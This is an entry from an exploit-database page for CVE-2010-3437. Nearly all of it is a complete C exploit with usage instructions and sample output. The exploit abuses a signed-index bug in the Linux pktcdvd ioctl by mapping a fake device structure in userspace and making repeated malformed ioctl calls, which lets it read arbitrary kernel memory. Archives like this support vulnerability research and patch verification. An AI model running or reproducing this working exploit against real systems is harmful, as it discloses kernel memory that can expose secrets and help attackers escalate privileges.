Lucene search

K
seebugRootSSV:69938
HistoryJul 01, 2014 - 12:00 a.m.

Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure

2014-07-0100:00:00
Root
www.seebug.org
20

0.0004 Low

EPSS

Percentile

0.4%

No description provided by source.


                                                /*
 * cve-2010-3437.c
 *
 * Linux Kernel &#60; 2.6.36-rc6 pktcdvd Kernel Memory Disclosure
 * Jon Oberheide &#60;[email protected]&#62;
 * http://jon.oberheide.org
 * 
 * Information:
 *
 *   https://bugzilla.redhat.com/show_bug.cgi?id=638085
 *
 *   The PKT_CTRL_CMD_STATUS device ioctl retrieves a pointer to a
 *   pktcdvd_device from the global pkt_devs array.  The index into this
 *   array is provided directly by the user and is a signed integer, so the
 *   comparison to ensure that it falls within the bounds of this array will
 *   fail when provided with a negative index.
 *
 * Usage:
 *
 *   $ gcc cve-2010-3437.c -o cve-2010-3437
 *   $ ./cve-2010-3437
 *   usage: ./cve-2010-3437 &#60;address&#62; &#60;length&#62;
 *   $ ./cve-2010-3437 0xc0102290 64
 *   [+] searching for pkt_devs kernel symbol...
 *   [+] found pkt_devs at 0xc086fcc0
 *   [+] opening pktcdvd device...
 *   [+] calculated dereference address of 0x790070c0
 *   [+] mapping page at 0x79007000 for pktcdvd_device dereference...
 *   [+] setting up fake pktcdvd_device structure...
 *   [+] dumping kmem from 0xc0102290 to 0xc01022d0 via malformed ioctls...
 *   [+] dumping kmem to output...
 *
 *   55 89 e5 0f 1f 44 00 00 8b 48 3c 8b 50 04 8b ...
 *   55 89 e5 57 56 53 0f 1f 44 00 00 89 d3 89 e2 ...
 *
 * Notes:
 *
 *   Pass the desired kernel memory address and dump length as arguments.
 *
 *   We can disclose 4 bytes of arbitrary kernel memory per ioctl call by 
 *   specifying a large negative device index, causing the kernel to 
 *   dereference to our fake pktcdvd_device structure in userspace and copy
 *   data to userspace from an attacker-controlled address.  Since only 4 
 *   bytes of kmem are disclosed per ioctl call, large dump sizes may take a
 *   few seconds.
 *
 *   Tested on Ubuntu Lucid 10.04.  32-bit only for now.
 */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;stdint.h&#62;
#include &#60;string.h&#62;
#include &#60;errno.h&#62;
#include &#60;unistd.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/ioctl.h&#62;
#include &#60;sys/utsname.h&#62;
#include &#60;sys/mman.h&#62;

#define DEV_INDEX -300000000
#define PAGE_SIZE 4096
#define PKT_CTRL_CMD_STATUS 2

struct pkt_ctrl_command {
	uint32_t command;
	int32_t dev_index;
	uint32_t dev;
	uint32_t pkt_dev;
	uint32_t num_devices;
	uint32_t padding;
};

#define PACKET_IOCTL_MAGIC (&#39;X&#39;)
#define PACKET_CTRL_CMD _IOWR(PACKET_IOCTL_MAGIC, 1, struct pkt_ctrl_command)

struct block_device {
	uint32_t bd_dev;
} bd;

struct pktcdvd_device {
	struct block_device *bdev;
} pd;

#define MINORBITS 20
#define MKDEV(ma,mi) (((ma) &#60;&#60; MINORBITS) | (mi))

uint32_t
new_decode_dev(uint32_t dev)
{
	unsigned major = (dev & 0xfff00) &#62;&#62; 8;
	unsigned minor = (dev & 0xff) | ((dev &#62;&#62; 12) & 0xfff00);
	return MKDEV(major, minor);
}

const char hex_asc[] = &#34;0123456789abcdef&#34;;
#define hex_asc_lo(x) hex_asc[((x) & 0x0f)]
#define hex_asc_hi(x) hex_asc[((x) & 0xf0) &#62;&#62; 4]

void
hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, int ascii)
{
	const uint8_t *ptr = buf;
	uint8_t ch;
	int j, lx = 0;
	int ascii_column;

	if (rowsize != 16 && rowsize != 32)
		rowsize = 16;

	if (!len)
		goto nil;
	if (len &#62; rowsize)
		len = rowsize;
	if ((len % groupsize) != 0)
		groupsize = 1;

	switch (groupsize) {
	case 8: {
		const uint64_t *ptr8 = buf;
		int ngroups = len / groupsize;

		for (j = 0; j &#60; ngroups; j++)
			lx += snprintf(linebuf + lx, linebuflen - lx,
				&#34;%16.16llx &#34;, (unsigned long long)*(ptr8 + j));
		ascii_column = 17 * ngroups + 2;
		break;
	}

	case 4: {
		const uint32_t *ptr4 = buf;
		int ngroups = len / groupsize;

		for (j = 0; j &#60; ngroups; j++)
			lx += snprintf(linebuf + lx, linebuflen - lx,
				&#34;%8.8x &#34;, *(ptr4 + j));
		ascii_column = 9 * ngroups + 2;
		break;
	}

	case 2: {
		const uint16_t *ptr2 = buf;
		int ngroups = len / groupsize;

		for (j = 0; j &#60; ngroups; j++)
			lx += snprintf(linebuf + lx, linebuflen - lx,
				&#34;%4.4x &#34;, *(ptr2 + j));
		ascii_column = 5 * ngroups + 2;
		break;
	}

	default:
		for (j = 0; (j &#60; rowsize) && (j &#60; len) && (lx + 4) &#60; linebuflen;
			 j++) {
			ch = ptr[j];
			linebuf[lx++] = hex_asc_hi(ch);
			linebuf[lx++] = hex_asc_lo(ch);
			linebuf[lx++] = &#39; &#39;;
		}
		ascii_column = 3 * rowsize + 2;
		break;
	}
	if (!ascii)
		goto nil;

	while (lx &#60; (linebuflen - 1) && lx &#60; (ascii_column - 1))
		linebuf[lx++] = &#39; &#39;;
	for (j = 0; (j &#60; rowsize) && (j &#60; len) && (lx + 2) &#60; linebuflen; j++)
		linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j]
				: &#39;.&#39;;
nil:
	linebuf[lx++] = &#39;\0&#39;;
}

void
print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, int ascii)
{
	const uint8_t *ptr = buf;
	int i, linelen, remaining = len;
	unsigned char linebuf[200];

	if (rowsize != 16 && rowsize != 32)
		rowsize = 16;

	for (i = 0; i &#60; len; i += rowsize) {
		linelen = ((remaining) &#60; (rowsize) ? (remaining) : (rowsize));
		remaining -= rowsize;
		hex_dump_to_buffer(ptr + i, linelen, rowsize, groupsize,
		linebuf, sizeof(linebuf), ascii);
		printf(&#34;%s\n&#34;, linebuf);
	}
}

unsigned long
get_kernel_symbol(char *name)
{
	FILE *f;
	unsigned long addr;
	struct utsname ver;
	char dummy, sname[512];
	int ret, rep = 0, oldstyle = 0;

	f = fopen(&#34;/proc/kallsyms&#34;, &#34;r&#34;);
	if (f == NULL) {
		f = fopen(&#34;/proc/ksyms&#34;, &#34;r&#34;);
		if (f == NULL) {
			goto fallback;
		}
		oldstyle = 1;
	}

repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle) {
			ret = fscanf(f, &#34;%p %c %s\n&#34;, (void **)&addr, &dummy, sname);
		} else {
			ret = fscanf(f, &#34;%p %s\n&#34;, (void **)&addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, &#34;_O/&#34;) || strstr(sname, &#34;_S.&#34;)) {
					continue;
				}
				p = strrchr(sname, &#39;_&#39;);
				if (p &#62; ((char *)sname + 5) && !strncmp(p - 3, &#34;smp&#34;, 3)) {
					p = p - 4;
					while (p &#62; (char *)sname && *(p - 1) == &#39;_&#39;) {
						p--;
					}
					*p = &#39;\0&#39;;
				}
			}
		}
		if (ret == 0) {
			fscanf(f, &#34;%s\n&#34;, sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	if (rep) {
		return 0;
	}
fallback:
	uname(&ver);
	if (strncmp(ver.release, &#34;2.6&#34;, 3)) {
		oldstyle = 1;
	}
	sprintf(sname, &#34;/boot/System.map-%s&#34;, ver.release);
	f = fopen(sname, &#34;r&#34;);
	if (f == NULL) {
		return 0;
	}
	rep = 1;
	goto repeat;
}

void
usage(char **argv)
{
	fprintf(stderr, &#34;usage: %s &#60;address&#62; &#60;length&#62;\n&#34;, argv[0]);
	exit(1);
}

int
main(int argc, char **argv)
{
	int fd, ret, length;
	void *mem, *dump, *ptr;
	struct pkt_ctrl_command cmd;
	unsigned long pkt_devs, map_addr, deref_addr;
	unsigned long start_addr, end_addr, curr_addr;

	if (argc &#60; 3) {
		usage(argv);
	}

	start_addr = strtoul(argv[1], NULL, 0);
	length = strtoul(argv[2], NULL, 0);
	end_addr = start_addr + length;

	dump = malloc(length);
	if (!dump) {
		printf(&#34;[-] failed to allocate memory for kmem dump\n&#34;);
		exit(1);
	}
	memset(dump, 0, length);

	printf(&#34;[+] searching for pkt_devs kernel symbol...\n&#34;);

	pkt_devs = get_kernel_symbol(&#34;pkt_devs&#34;);
	if (!pkt_devs) {
		printf(&#34;[-] could not find pkt_devs kernel symbol\n&#34;);
		exit(1);
	}
	
	printf(&#34;[+] found pkt_devs at %p\n&#34;, (void *) pkt_devs);

	printf(&#34;[+] opening pktcdvd device...\n&#34;);

	fd = open(&#34;/dev/pktcdvd/control&#34;, O_RDWR);
	if (fd &#60; 0) {
		printf(&#34;[-] open of pktcdvd device failed\n&#34;);
		exit(1);
	}

	deref_addr = pkt_devs + (DEV_INDEX * sizeof(void *));
	map_addr = deref_addr & ~(PAGE_SIZE-1);

	printf(&#34;[+] calculated dereference address of %p\n&#34;, (void *) deref_addr);
	printf(&#34;[+] mapping page at %p for pktcdvd_device dereference...\n&#34;, (void *) map_addr);

	mem = mmap((void *) map_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
	if (mem == MAP_FAILED) {
		printf(&#34;[-] mmap failed\n&#34;);
		exit(1);
	}

	printf(&#34;[+] setting up fake pktcdvd_device structure...\n&#34;);

	*(unsigned long *) deref_addr = (unsigned long) &pd;

	printf(&#34;[+] dumping kmem from %p to %p via malformed ioctls...\n&#34;, (void *) start_addr, (void *) end_addr);

	memset(&cmd, 0, sizeof(cmd));
	cmd.command = PKT_CTRL_CMD_STATUS;
	cmd.dev_index = DEV_INDEX;

	ptr = dump;
	curr_addr = start_addr;

	while (curr_addr &#60; end_addr) {
		pd.bdev = (struct block_device *) curr_addr;

		ret = ioctl(fd, PACKET_CTRL_CMD, &cmd);
		if (ret &#60; 0) {
			printf(&#34;[-] ioctl of pktcdvd device failed\n&#34;);
			exit(1);
		}

		*(uint32_t *) ptr = (uint32_t) new_decode_dev(cmd.dev);

		curr_addr += sizeof(uint32_t);
		ptr += sizeof(uint32_t);
	}

	printf(&#34;[+] dumping kmem to output...\n&#34;);

	printf(&#34;\n&#34;);
	print_hex_dump(32, 1, dump, length, 1);
	printf(&#34;\n&#34;);

	return 0;
}